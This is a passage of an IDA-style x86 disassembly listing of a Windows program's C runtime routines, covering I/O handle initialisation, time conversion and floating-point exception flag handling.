jmp short loc_421D51
; ---------------------------------------------------------------------------
loc_421D45: ; CODE XREF: sub_421D00+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_421D51: ; CODE XREF: sub_421D00+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_421D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D60 proc near ; CODE XREF: sub_420920+370p
; sub_420920+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_421D9B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D9B: ; CODE XREF: sub_421D60+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_41DB50
add esp, 4
mov [ebp+var_4], eax
loc_421DAA: ; CODE XREF: sub_421D60+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DC0 proc near ; CODE XREF: sub_420920+ECp
; sub_420920+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_421DD9
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428D70
add esp, 8
loc_421DD9: ; CODE XREF: sub_421DC0+7j
pop ebp
retn
sub_421DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DE0 proc near ; CODE XREF: sub_420920+E3p
; sub_420920+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_421DE4: ; CODE XREF: sub_421DE0+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_428A50
add esp, 4
test eax, eax
jz short loc_421E12
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421E12: ; CODE XREF: sub_421DE0+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E20 proc near ; CODE XREF: sub_418BB0+161p
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
sub eax, 76Ch
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 46h
jl short loc_421E40
cmp [ebp+arg_0], 8Ah
jle short loc_421E48
loc_421E40: ; CODE XREF: sub_421E20+15j
or eax, 0FFFFFFFFh
jmp loc_421F0A
; ---------------------------------------------------------------------------
loc_421E48: ; CODE XREF: sub_421E20+1Ej
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
add edx, dword_4445C4[ecx*4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
and eax, 3
test eax, eax
jnz short loc_421E71
cmp [ebp+arg_4], 2
jle short loc_421E71
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
loc_421E71: ; CODE XREF: sub_421E20+40j
; sub_421E20+46j
mov edx, [ebp+arg_0]
sub edx, 46h
imul edx, 16Dh
mov eax, [ebp+arg_0]
sub eax, 1
sar eax, 2
mov ecx, [ebp+var_2C]
add ecx, edx
lea edx, [eax+ecx-11h]
imul edx, 18h
add edx, [ebp+arg_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 3Ch
add eax, [ebp+arg_10]
imul eax, 3Ch
add eax, [ebp+arg_14]
mov [ebp+var_4], eax
call sub_428EB0
mov ecx, [ebp+var_4]
add ecx, dword_4444E0
mov [ebp+var_4], ecx
mov edx, [ebp+var_2C]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_C]
mov [ebp+var_20], edx
cmp [ebp+arg_18], 1
jz short loc_421EFB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_421F07
cmp dword_4444E4, 0
jz short loc_421F07
lea eax, [ebp+var_28]
push eax
call sub_4292C0
add esp, 4
test eax, eax
jz short loc_421F07
loc_421EFB: ; CODE XREF: sub_421E20+BAj
mov ecx, [ebp+var_4]
add ecx, dword_4444E8
mov [ebp+var_4], ecx
loc_421F07: ; CODE XREF: sub_421E20+C0j
; sub_421E20+C9j ...
mov eax, [ebp+var_4]
loc_421F0A: ; CODE XREF: sub_421E20+23j
mov esp, ebp
pop ebp
retn
sub_421E20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset aIoinit_c ; "ioinit.c"
push 2
push 480h
call sub_414DD0
add esp, 10h
mov [ebp-50h], eax
cmp dword ptr [ebp-50h], 0
jnz short loc_421F42
push 1Bh
call sub_41A9A0
add esp, 4
loc_421F42: ; CODE XREF: ___:00421F36j
mov eax, [ebp-50h]
mov dword_4DB460, eax
mov dword_4DB560, 20h
jmp short loc_421F5F
; ---------------------------------------------------------------------------
loc_421F56: ; CODE XREF: ___:00421F91j
mov ecx, [ebp-50h]
add ecx, 24h
mov [ebp-50h], ecx
loc_421F5F: ; CODE XREF: ___:00421F54j
mov edx, dword_4DB460
add edx, 480h
cmp [ebp-50h], edx
jnb short loc_421F93
mov eax, [ebp-50h]
mov byte ptr [eax+4], 0
mov ecx, [ebp-50h]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp-50h]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp-50h]
mov dword ptr [eax+8], 0
jmp short loc_421F56
; ---------------------------------------------------------------------------
loc_421F93: ; CODE XREF: ___:00421F6Ej
lea ecx, [ebp-48h]
push ecx
nop
call near ptr 2850000h
mov edx, [ebp-16h]
and edx, 0FFFFh
test edx, edx
jz loc_422135
cmp dword ptr [ebp-14h], 0
jz loc_422135
mov eax, [ebp-14h]
mov ecx, [eax]
mov [ebp-64h], ecx
mov edx, [ebp-14h]
add edx, 4
mov [ebp-4], edx
mov eax, [ebp-4]
add eax, [ebp-64h]
mov [ebp-60h], eax
cmp dword ptr [ebp-64h], 800h
jge short loc_421FE3
mov ecx, [ebp-64h]
mov [ebp-68h], ecx
jmp short loc_421FEA
; ---------------------------------------------------------------------------
loc_421FE3: ; CODE XREF: ___:00421FD9j
mov dword ptr [ebp-68h], 800h
loc_421FEA: ; CODE XREF: ___:00421FE1j
mov edx, [ebp-68h]
mov [ebp-64h], edx
mov dword ptr [ebp-5Ch], 1
jmp short loc_422002
; ---------------------------------------------------------------------------
loc_421FF9: ; CODE XREF: ___:loc_42209Dj
mov eax, [ebp-5Ch]
add eax, 1
mov [ebp-5Ch], eax
loc_422002: ; CODE XREF: ___:00421FF7j
mov ecx, dword_4DB560
cmp ecx, [ebp-64h]
jge loc_4220A2
push 0B6h
push offset aIoinit_c ; "ioinit.c"
push 2
push 480h
call sub_414DD0
add esp, 10h
mov [ebp-50h], eax
cmp dword ptr [ebp-50h], 0
jnz short loc_42203E
mov edx, dword_4DB560
mov [ebp-64h], edx
jmp short loc_4220A2
; ---------------------------------------------------------------------------
loc_42203E: ; CODE XREF: ___:00422031j
mov eax, [ebp-5Ch]
mov ecx, [ebp-50h]
mov dword_4DB460[eax*4], ecx
mov edx, dword_4DB560
add edx, 20h
mov dword_4DB560, edx
jmp short loc_422065
; ---------------------------------------------------------------------------
loc_42205C: ; CODE XREF: ___:0042209Bj
mov eax, [ebp-50h]
add eax, 24h
mov [ebp-50h], eax
loc_422065: ; CODE XREF: ___:0042205Aj
mov ecx, [ebp-5Ch]
mov edx, dword_4DB460[ecx*4]
add edx, 480h
cmp [ebp-50h], edx
jnb short loc_42209D
mov eax, [ebp-50h]
mov byte ptr [eax+4], 0
mov ecx, [ebp-50h]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp-50h]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp-50h]
mov dword ptr [eax+8], 0
jmp short loc_42205C
; ---------------------------------------------------------------------------
loc_42209D: ; CODE XREF: ___:00422078j
jmp loc_421FF9
; ---------------------------------------------------------------------------
loc_4220A2: ; CODE XREF: ___:0042200Bj
; ___:0042203Cj
mov dword ptr [ebp-58h], 0
jmp short loc_4220C6
; ---------------------------------------------------------------------------
loc_4220AB: ; CODE XREF: ___:loc_422130j
mov ecx, [ebp-58h]
add ecx, 1
mov [ebp-58h], ecx
mov edx, [ebp-4]
add edx, 1
mov [ebp-4], edx
mov eax, [ebp-60h]
add eax, 4
mov [ebp-60h], eax
loc_4220C6: ; CODE XREF: ___:004220A9j
mov ecx, [ebp-58h]
cmp ecx, [ebp-64h]
jge short loc_422135
mov edx, [ebp-60h]
cmp dword ptr [edx], 0FFFFFFFFh
jz short loc_422130
mov eax, [ebp-4]
movsx ecx, byte ptr [eax]
and ecx, 1
test ecx, ecx
jz short loc_422130
mov edx, [ebp-4]
movsx eax, byte ptr [edx]
and eax, 8
test eax, eax
jnz short loc_422100
mov ecx, [ebp-60h]
mov edx, [ecx]
push edx
call near ptr 28C0000h
nop
test eax, eax
jz short loc_422130
loc_422100: ; CODE XREF: ___:004220EEj
mov eax, [ebp-58h]
sar eax, 5
mov ecx, [ebp-58h]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
add edx, ecx
mov [ebp-50h], edx
mov eax, [ebp-50h]
mov ecx, [ebp-60h]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp-50h]
mov ecx, [ebp-4]
mov dl, [ecx]
mov [eax+4], dl
loc_422130: ; CODE XREF: ___:004220D4j
; ___:004220E1j ...
jmp loc_4220AB
; ---------------------------------------------------------------------------
loc_422135: ; CODE XREF: ___:00421FA8j
; ___:00421FB2j ...
mov dword ptr [ebp-58h], 0
jmp short loc_422147
; ---------------------------------------------------------------------------
loc_42213E: ; CODE XREF: ___:loc_42221Fj
mov eax, [ebp-58h]
add eax, 1
mov [ebp-58h], eax
loc_422147: ; CODE XREF: ___:0042213Cj
cmp dword ptr [ebp-58h], 3
jge loc_422224
mov ecx, [ebp-58h]
imul ecx, 24h
mov edx, dword_4DB460
add edx, ecx
mov [ebp-50h], edx
mov eax, [ebp-50h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_422210
mov ecx, [ebp-50h]
mov byte ptr [ecx+4], 81h
cmp dword ptr [ebp-58h], 0
jnz short loc_422184
mov dword ptr [ebp-6Ch], 0FFFFFFF6h
jmp short loc_422194
; ---------------------------------------------------------------------------
loc_422184: ; CODE XREF: ___:00422179j
mov edx, [ebp-58h]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp-6Ch], edx
loc_422194: ; CODE XREF: ___:00422182j
mov eax, [ebp-6Ch]
push eax
call near ptr 2860000h
nop
mov [ebp-4Ch], eax
cmp dword ptr [ebp-4Ch], 0FFFFFFFFh
jz short loc_4221FF
mov ecx, [ebp-4Ch]
push ecx
nop
call near ptr 28C0000h
mov [ebp-54h], eax
cmp dword ptr [ebp-54h], 0
jz short loc_4221FF
mov edx, [ebp-50h]
mov eax, [ebp-4Ch]
mov [edx], eax
mov ecx, [ebp-54h]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_4221E0
mov edx, [ebp-50h]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp-50h]
mov [ecx+4], al
jmp short loc_4221FD
; ---------------------------------------------------------------------------
loc_4221E0: ; CODE XREF: ___:004221CEj
mov edx, [ebp-54h]
and edx, 0FFh
cmp edx, 3
jnz short loc_4221FD
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp-50h]
mov [edx+4], cl
loc_4221FD: ; CODE XREF: ___:004221DEj
; ___:004221ECj
jmp short loc_42220E
; ---------------------------------------------------------------------------
loc_4221FF: ; CODE XREF: ___:004221A5j
; ___:004221B8j
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp-50h]
mov [edx+4], cl
loc_42220E: ; CODE XREF: ___:loc_4221FDj
jmp short loc_42221F
; ---------------------------------------------------------------------------
loc_422210: ; CODE XREF: ___:00422168j
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp-50h]
mov [edx+4], cl
loc_42221F: ; CODE XREF: ___:loc_42220Ej
jmp loc_42213E
; ---------------------------------------------------------------------------
loc_422224: ; CODE XREF: ___:0042214Bj
mov eax, dword_4DB560
push eax
call near ptr 28B088Ch
nop
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_422258
; ---------------------------------------------------------------------------
loc_42224F: ; CODE XREF: ___:loc_4222D2j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_422258: ; CODE XREF: ___:0042224Dj
cmp dword ptr [ebp-8], 40h
jge short loc_4222D7
mov ecx, [ebp-8]
cmp dword_4DB460[ecx*4], 0
jz short loc_4222D2
mov edx, [ebp-8]
mov eax, dword_4DB460[edx*4]
mov [ebp-4], eax
jmp short loc_422283
; ---------------------------------------------------------------------------
loc_42227A: ; CODE XREF: ___:loc_4222ADj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_422283: ; CODE XREF: ___:00422278j
mov edx, [ebp-8]
mov eax, dword_4DB460[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_4222AF
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_4222AD
mov edx, [ebp-4]
add edx, 0Ch
push edx
nop
call near ptr 2700770h
loc_4222AD: ; CODE XREF: ___:0042229Ej
jmp short loc_42227A
; ---------------------------------------------------------------------------
loc_4222AF: ; CODE XREF: ___:00422295j
push 2
mov eax, [ebp-8]
mov ecx, dword_4DB460[eax*4]
push ecx
call sub_415860
add esp, 8
mov edx, [ebp-8]
mov dword_4DB460[edx*4], 0
loc_4222D2: ; CODE XREF: ___:00422269j
jmp loc_42224F
; ---------------------------------------------------------------------------
loc_4222D7: ; CODE XREF: ___:0042225Cj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222E0 proc near ; CODE XREF: sub_418E70+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_41B780
add esp, 4
mov [ebp+var_8], 3
jmp short loc_422309
; ---------------------------------------------------------------------------
loc_422300: ; CODE XREF: sub_4222E0:loc_4223A4j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_422309: ; CODE XREF: sub_4222E0+1Ej
mov ecx, [ebp+var_8]
cmp ecx, dword_4DC7C0
jge loc_4223A9
mov edx, [ebp+var_8]
mov eax, dword_4DB7AC
cmp dword ptr [eax+edx*4], 0
jz short loc_4223A4
mov ecx, [ebp+var_8]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_422361
mov edx, [ebp+var_8]
mov eax, dword_4DB7AC
mov ecx, [eax+edx*4]
push ecx
call sub_414C60
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_422361
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_422361: ; CODE XREF: sub_4222E0+5Dj
; sub_4222E0+76j
cmp [ebp+var_8], 14h
jl short loc_4223A4
mov eax, [ebp+var_8]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call near ptr 2700770h
nop
push 2
mov eax, [ebp+var_8]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
push edx
call sub_415860
add esp, 8
mov eax, [ebp+var_8]
mov ecx, dword_4DB7AC
mov dword ptr [ecx+eax*4], 0
loc_4223A4: ; CODE XREF: sub_4222E0+44j
; sub_4222E0+85j
jmp loc_422300
; ---------------------------------------------------------------------------
loc_4223A9: ; CODE XREF: sub_4222E0+32j
push 2
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4222E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4223C0(double)
sub_4223C0 proc near ; CODE XREF: sub_418F70+C3p
; sub_419190+C3p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4223C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4223E0(int,double,int)
sub_4223E0 proc near ; CODE XREF: sub_418F70+85p
; sub_419190+85p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_4445FC, 0
jnz short loc_422414
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+arg_4]
push edx ; double
push 0 ; int
push 0 ; int
mov eax, [ebp+10h]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
push 1 ; int
call sub_422E90
add esp, 24h
jmp short loc_422433
; ---------------------------------------------------------------------------
loc_422414: ; CODE XREF: sub_4223E0+Aj
call sub_420520
mov dword ptr [eax], 21h
push 0FFFFh
mov eax, [ebp+arg_C]
push eax
call sub_423320
add esp, 8
fld qword ptr [ebp+arg_4]
loc_422433: ; CODE XREF: sub_4223E0+32j
pop ebp
retn
sub_4223E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
fld qword ptr [ebp+0Ch]
fadd qword ptr [ebp+14h]
fstp qword ptr [ebp-8]
cmp dword_4445FC, 0
jnz short loc_422484
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
push 1
call sub_422E90
add esp, 24h
jmp short loc_4224A3
; ---------------------------------------------------------------------------
loc_422484: ; CODE XREF: ___:00422456j
call sub_420520
mov dword ptr [eax], 21h
push 0FFFFh
mov edx, [ebp+1Ch]
push edx
call sub_423320
add esp, 8
fld qword ptr [ebp-8]
loc_4224A3: ; CODE XREF: ___:00422482j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4224B0(int,int,int,int,double,int)
sub_4224B0 proc near ; CODE XREF: sub_418F70+B1p
; sub_418F70+129p ...
var_5C = byte ptr -5Ch
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+arg_18]
push eax
lea ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_422B10
add esp, 0Ch
test eax, eax
jnz short loc_4224F6
mov eax, [ebp+var_24]
and al, 0FEh
mov [ebp+var_24], eax
lea ecx, [ebp+arg_10]
push ecx
lea edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+arg_18]
push edx
lea eax, [ebp+var_5C]
push eax
call sub_422640
add esp, 18h
loc_4224F6: ; CODE XREF: sub_4224B0+1Cj
mov ecx, [ebp+arg_0]
push ecx
call sub_422FB0
add esp, 4
mov [ebp+var_4], eax
cmp dword_4445FC, 0
jnz short loc_42253E
cmp [ebp+var_4], 0
jz short loc_42253E
mov edx, [ebp+arg_18]
push edx ; int
mov eax, dword ptr [ebp+arg_10+4]
push eax
mov ecx, dword ptr [ebp+arg_10]
push ecx ; double
push 0 ; int
push 0 ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_422E90
add esp, 24h
jmp short loc_42255E
; ---------------------------------------------------------------------------
loc_42253E: ; CODE XREF: sub_4224B0+5Cj
; sub_4224B0+62j
mov eax, [ebp+var_4]
push eax
call sub_422F30
add esp, 4
push 0FFFFh
mov ecx, [ebp+arg_18]
push ecx
call sub_423320
add esp, 8
fld [ebp+arg_10]
loc_42255E: ; CODE XREF: sub_4224B0+8Cj
mov esp, ebp
pop ebp
retn
sub_4224B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+28h]
push eax
lea ecx, [ebp+20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_422B10
add esp, 0Ch
test eax, eax
jnz short loc_4225CE
mov eax, [ebp-24h]
or al, 1
mov [ebp-24h], eax
mov ecx, [ebp-24h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov [ebp-24h], ecx
mov edx, [ebp+18h]
mov [ebp-34h], edx
mov eax, [ebp+1Ch]
mov [ebp-30h], eax
lea ecx, [ebp+20h]
push ecx
lea edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp+28h]
push edx
lea eax, [ebp-5Ch]
push eax
call sub_422640
add esp, 18h
loc_4225CE: ; CODE XREF: ___:0042258Cj
mov ecx, [ebp+8]
push ecx
call sub_422FB0
add esp, 4
mov [ebp-4], eax
cmp dword_4445FC, 0
jnz short loc_42261A
cmp dword ptr [ebp-4], 0
jz short loc_42261A
mov edx, [ebp+28h]
push edx
mov eax, [ebp+24h]
push eax
mov ecx, [ebp+20h]
push ecx
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
call sub_422E90
add esp, 24h
jmp short loc_42263A
; ---------------------------------------------------------------------------
loc_42261A: ; CODE XREF: ___:004225E4j
; ___:004225EAj
mov edx, [ebp-4]
push edx
call sub_422F30
add esp, 4
push 0FFFFh
mov eax, [ebp+28h]
push eax
call sub_423320
add esp, 8
fld qword ptr [ebp+20h]
loc_42263A: ; CODE XREF: ___:00422618j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422640 proc near ; CODE XREF: sub_4224B0+3Ep
; ___:004225C6p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz short loc_422684
mov [ebp+var_4], 0C000008Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_422684: ; CODE XREF: sub_422640+2Cj
mov ecx, [ebp+arg_8]
and ecx, 2
test ecx, ecx
jz short loc_4226A3
mov [ebp+var_4], 0C0000093h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 2
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_4226A3: ; CODE XREF: sub_422640+4Cj
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_4226C3
mov [ebp+var_4], 0C0000091h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_4226C3: ; CODE XREF: sub_422640+6Bj
mov eax, [ebp+arg_8]
and eax, 4
test eax, eax
jz short loc_4226E3
mov [ebp+var_4], 0C000008Eh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 8
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4226E3: ; CODE XREF: sub_422640+8Bj
mov ecx, [ebp+arg_8]
and ecx, 8
test ecx, ecx
jz short loc_422702
mov [ebp+var_4], 0C0000090h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 10h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_422702: ; CODE XREF: sub_422640+ABj
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 1
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFEFh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 4
neg edx
sbb edx, edx
inc edx
and edx, 1
shl edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFF7h
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 8
neg ecx
sbb ecx, ecx
inc ecx
and ecx, 1
shl ecx, 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and al, 0FBh
or eax, ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 10h
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFFDh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 20h
neg edx
sbb edx, edx
inc edx
and edx, 1
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFFEh
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
call sub_4232E0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, 1
test eax, eax
jz short loc_4227D2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_4227D2: ; CODE XREF: sub_422640+181j
mov ecx, [ebp+var_8]
and ecx, 4
test ecx, ecx
jz short loc_4227EA
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_4227EA: ; CODE XREF: sub_422640+19Aj
mov edx, [ebp+var_8]
and edx, 8
test edx, edx
jz short loc_422803
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+0Ch], ecx
loc_422803: ; CODE XREF: sub_422640+1B2j
mov eax, [ebp+var_8]
and eax, 10h
test eax, eax
jz short loc_42281C
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_42281C: ; CODE XREF: sub_422640+1CBj
mov ecx, [ebp+var_8]
and ecx, 20h
test ecx, ecx
jz short loc_422834
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_422834: ; CODE XREF: sub_422640+1E4j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 0C00h
mov [ebp+var_C], eax
cmp [ebp+var_C], 800h
ja short loc_422864
cmp [ebp+var_C], 800h
jz short loc_42287E
cmp [ebp+var_C], 0
jz short loc_4228A2
cmp [ebp+var_C], 400h
jz short loc_422890
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_422864: ; CODE XREF: sub_422640+208j
cmp [ebp+var_C], 0C00h
jz short loc_42286F
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_42286F: ; CODE XREF: sub_422640+22Bj
